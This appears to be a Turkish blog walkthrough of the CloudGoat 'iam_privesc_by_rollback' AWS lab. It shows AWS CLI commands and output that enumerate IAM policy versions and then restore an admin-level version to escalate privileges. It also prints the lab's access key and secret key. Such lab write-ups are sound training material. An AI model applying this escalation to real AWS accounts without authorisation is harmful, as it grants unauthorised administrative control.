İçeriğe geç

iam_privesc_by_rollback – CloudGoat

Giriş

CloudGoat yüksek lisanstayken verilen bir ödev sonrası keşfettiğim bir platform oldu. Açıkçası AWS Pentesting ile ilgilenenlerin incelemesi gereken bir platform olduğunu düşünüyorum. Kısaca bilgi vermek gerekirse aws hesabınızla projeyi githubtan indiriyorsunuz ve daha sonrasında içerisinde var olan senaryoları cloud ortamınıza deploy ediyorsunuz. Böylece cloud ortamında zafiyetli bir ortam ayağa kaldırmış oluyorsunuz ve pentest yeteneklerinizi burada geliştirebiliyorsunuz. Niyetim bir seri başlatım buradaki senaryoları tamamlamak olacak.

https://github.com/RhinoSecurityLabs/cloudgoat adresinden projeyi edinebilirsiniz ben direkt olarak docker üzerinden ilerledim, talimatları uyguladıktan sonra projeyi ayağa kaldıracaksınızdır.

Not: AWS yeni başlayanlar için karışık olabilir arkaplanda cloudgoat çok fazla şeyi ayağa kaldıracaktır ve bunları kesinlikle elinizle manel kaldırmayın. README'yi okuduğunuzda destroy komutu ile cloudgoat'ın oluşturduğu her şeyi kendisinin kaldıracağını göreceksiniz. Eğer docker kullanıyorsanız ortamınızı destroy etmeden docker'ınızı kesinlikle silmeyin, yoksa ayarlarınızda sileneceğinden dolayı manuel kaldırmak zorunda kalabilirsiniz.

iam_privesc_by_rollback

Senaryonun sayfası: https://github.com/RhinoSecurityLabs/cloudgoat/tree/master/scenarios/iam_privesc_by_rollback
Senaryo hakkında: Starting with a highly-limited IAM user, the attacker is able to review previous IAM policy versions and restore one which allows full admin privileges, resulting in a privilege escalation exploit.

Ortamı ayağa kaldırdığımızda bize raynor isimli bir profilin access key ve secret key'lerini verecektir. Aşağıdaki gibi:

cloudgoat_output_raynor_access_key_id = AKIA3AJBNQU7ATQEIDPD
cloudgoat_output_raynor_secret_key = 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
cloudgoat_output_username = raynor-iam_privesc_by_rollback_cgidnf1lf5wyty
d75708648058:/usr/src/cloudgoat# echo "[raynor]
aws_access_key_id = AKIA3AJBNQU7ATQEIDPD
aws_secret_access_key = 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
" >> ~/.aws/credentials 

Şimdi ilk olarak kim olduğumuza bakalım daha sonrasında haklarımız nelermiş onları öğrenelim.

d75708648058:/usr/src/cloudgoat# aws iam get-user  --profile raynor
{
    "User": {
        "Path": "/",
        "UserName": "raynor-iam_privesc_by_rollback_cgidnf1lf5wyty",
        "UserId": "AIDA3AJBNQU7KJQHJWWAR",
        "Arn": "arn:aws:iam::756521207102:user/raynor-iam_privesc_by_rollback_cgidnf1lf5wyty",
        "CreateDate": "2023-11-21T19:32:11Z",
        "Tags": [
            {
                "Key": "Stack",
                "Value": "CloudGoat"
            },
            {
                "Key": "Name",
                "Value": "cg-raynor-iam_privesc_by_rollback_cgidnf1lf5wyty"
            },
            {
                "Key": "Scenario",
                "Value": "iam-privesc-by-rollback"
            }
        ]
    }
}

Policy'lere bakıyorum.

d75708648058:/usr/src/cloudgoat# aws iam list-user-policies --user-name  raynor-iam_privesc_by_rollback_cgidnf1lf5wyty --profile raynor
{
    "PolicyNames": []
}
d75708648058:/usr/src/cloudgoat# aws iam list-attached-user-policies --user-name  raynor-iam_privesc_by_rollback_cgidnf1lf5wyty --profile raynor
{
    "AttachedPolicies": [
        {
            "PolicyName": "cg-raynor-policy-iam_privesc_by_rollback_cgidnf1lf5wyty",
            "PolicyArn": "arn:aws:iam::756521207102:policy/cg-raynor-policy-iam_privesc_by_rollback_cgidnf1lf5wyty"
        }
    ]
}

Bu policy'i ayrıntılı bir şekilde inceleyelim.

d75708648058:/usr/src/cloudgoat# aws iam get-policy --policy-arn  arn:aws:iam::756521207102:policy/cg-raynor-policy-iam_privesc_by_rollback_cgidnf1lf5wyty --profile raynor
{
    "Policy": {
        "PolicyName": "cg-raynor-policy-iam_privesc_by_rollback_cgidnf1lf5wyty",
        "PolicyId": "ANPA3AJBNQU7B3GUNWM5H",
        "Arn": "arn:aws:iam::756521207102:policy/cg-raynor-policy-iam_privesc_by_rollback_cgidnf1lf5wyty",
        "Path": "/",
        "DefaultVersionId": "v1",
        "AttachmentCount": 1,
        "PermissionsBoundaryUsageCount": 0,
        "IsAttachable": true,
        "Description": "cg-raynor-policy",
        "CreateDate": "2023-11-21T19:32:11Z",
        "UpdateDate": "2023-11-21T19:32:13Z",
        "Tags": []
    }
}

Bir şey bulamadıktan sonra version bilgilerine bakmaya karar verdim. Bu esnada aslında https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-services/aws-iam-enum sayfası oldukça işime yaradı.

d75708648058:/usr/src/cloudgoat# aws iam list-policy-versions --policy-arn   arn:aws:iam::756521207102:policy/cg-raynor-policy-iam_privesc_by_rollback_cgidnf1lf5wyty --profile raynor
{
    "Versions": [
        {
            "VersionId": "v5",
            "IsDefaultVersion": false,
            "CreateDate": "2023-11-21T19:32:13Z"
        },
        {
            "VersionId": "v4",
            "IsDefaultVersion": false,
            "CreateDate": "2023-11-21T19:32:13Z"
        },
        {
            "VersionId": "v3",
            "IsDefaultVersion": false,
            "CreateDate": "2023-11-21T19:32:13Z"
        },
        {
            "VersionId": "v2",
            "IsDefaultVersion": false,
            "CreateDate": "2023-11-21T19:32:13Z"
        },
        {
            "VersionId": "v1",
            "IsDefaultVersion": true,
            "CreateDate": "2023-11-21T19:32:11Z"
        }
    ]
}

5 tane sürüm olduğunu görüyoruz ve teker teker bunlara bakmaya başladım. ilk olarak default policy'e bakalım.

d75708648058:/usr/src/cloudgoat# aws iam get-policy-version --policy-arn   arn:aws:iam::756521207102:policy/cg-raynor-policy-iam_privesc_by_rollback_cgidnf1lf5wyty  --version-id "v1" --profile raynor
{
    "PolicyVersion": {
        "Document": {
            "Statement": [
                {
                    "Action": [
                        "iam:Get*",
                        "iam:List*",
                        "iam:SetDefaultPolicyVersion"
                    ],
                    "Effect": "Allow",
                    "Resource": "*",
                    "Sid": "IAMPrivilegeEscalationByRollback"
                }
            ],
            "Version": "2012-10-17"
        },
        "VersionId": "v1",
        "IsDefaultVersion": true,
        "CreateDate": "2023-11-21T19:32:11Z"
    }
}

iam:SetDefaultPolicyVersion policy'sini arattığımda aşağıdaki gibi bir yazı buldum.

An attacker with the iam:SetDefaultPolicyVersion permission may be able to escalate privileges through existing policy versions that are not currently in use. If a policy that they have access to has versions that are not the default, they would be able to change the default version to any other existing version.

Harika şimdi diğer sürümlere bakalım.

d75708648058:/usr/src/cloudgoat# aws iam get-policy-version --policy-arn   arn:aws:iam::756521207102:policy/cg-raynor-policy-iam_privesc_by_rollback_cgidnf1lf5wyty  --version-id "v5" --profile raynor
{
    "PolicyVersion": {
        "Document": {
            "Version": "2012-10-17",
            "Statement": {
                "Effect": "Deny",
                "Action": "*",
                "Resource": "*",
                "Condition": {
                    "NotIpAddress": {
                        "aws:SourceIp": [
                            "192.0.2.0/24",
                            "203.0.113.0/24"
                        ]
                    }
                }
            }
        },
        "VersionId": "v5",
        "IsDefaultVersion": false,
        "CreateDate": "2023-11-21T19:32:13Z"
    }
}
d75708648058:/usr/src/cloudgoat# aws iam get-policy-version --policy-arn   arn:aws:iam::756521207102:policy/cg-raynor-policy-iam_privesc_by_rollback_cgidnf1lf5wyty  --version-id "v4" --profile raynor
{
    "PolicyVersion": {
        "Document": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Action": "*",
                    "Effect": "Allow",
                    "Resource": "*"
                }
            ]
        },
        "VersionId": "v4",
        "IsDefaultVersion": false,
        "CreateDate": "2023-11-21T19:32:13Z"
    }
}
d75708648058:/usr/src/cloudgoat# aws iam get-policy-version --policy-arn   arn:aws:iam::756521207102:policy/cg-raynor-policy-iam_privesc_by_rollback_cgidnf1lf5wyty  --version-id "v3" --profile raynor
{
    "PolicyVersion": {
        "Document": {
            "Version": "2012-10-17",
            "Statement": {
                "Effect": "Allow",
                "Action": "iam:Get*",
                "Resource": "*",
                "Condition": {
                    "DateGreaterThan": {
                        "aws:CurrentTime": "2017-07-01T00:00:00Z"
                    },
                    "DateLessThan": {
                        "aws:CurrentTime": "2017-12-31T23:59:59Z"
                    }
                }
            }
        },
        "VersionId": "v3",
        "IsDefaultVersion": false,
        "CreateDate": "2023-11-21T19:32:13Z"
    }
}
d75708648058:/usr/src/cloudgoat# aws iam get-policy-version --policy-arn   arn:aws:iam::756521207102:policy/cg-raynor-policy-iam_privesc_by_rollback_cgidnf1lf5wyty  --version-id "v2" --profile raynor
{
    "PolicyVersion": {
        "Document": {
            "Version": "2012-10-17",
            "Statement": {
                "Effect": "Allow",
                "Action": [
                    "s3:ListBucket",
                    "s3:GetObject",
                    "s3:ListAllMyBuckets"
                ],
                "Resource": "*"
            }
        },
        "VersionId": "v2",
        "IsDefaultVersion": false,
        "CreateDate": "2023-11-21T19:32:13Z"
    }
}

v4 bizi admin yapacak. Bunu test etmek için öncesinde s3'lerde bir ls işlemi gerçkeleştirdim.

d75708648058:/usr/src/cloudgoat# aws s3 ls --profile raynor

An error occurred (AccessDenied) when calling the ListBuckets operation: Access Denied

Beklendiği gibi hata aldım. Şimdi yetki yükseltelim.

d75708648058:/usr/src/cloudgoat# aws iam set-default-policy-version --policy-arn arn:aws:iam::756521207102:policy/cg-raynor-policy-iam_privesc_by_rollback_cgidnf1lf5wyty --version-id v4 --profile raynor

Şimdi tekrar deneyelim.

d75708648058:/usr/src/cloudgoat# aws s3 ls --profile raynor
2023-08-29 08:10:25 xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
2023-04-04 21:16:44 xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

Harika!

Kategori:AWSAWS Pentesting

İlk Yorumu Siz Yapın

Bir yanıt yazın

E-posta adresiniz yayınlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir